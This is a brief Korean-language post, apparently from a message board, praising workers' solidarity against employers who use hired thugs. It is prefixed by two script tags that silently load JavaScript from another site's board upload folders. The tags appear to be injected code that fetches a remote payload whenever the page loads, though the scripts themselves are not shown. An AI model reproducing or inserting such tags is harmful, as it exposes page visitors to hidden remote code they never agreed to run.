
<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 자본은 노동자들의 단결을 용역깡패를 동원해서라도 파괴하고자 한다.
그리고 노동자들은 코뼈가 부러지고, 피를 보는 한이 있어도 단결을 지키고자 한다.
단결하는 그 순간만큼은 노동자들은 노예, 기계가 아닌 인간이니깐.
단결하는 그 순간만큼은 자본가들의 노예, 일하는 기계가 아닌 희망과 자존심을 갖고 있는 인간이니깐.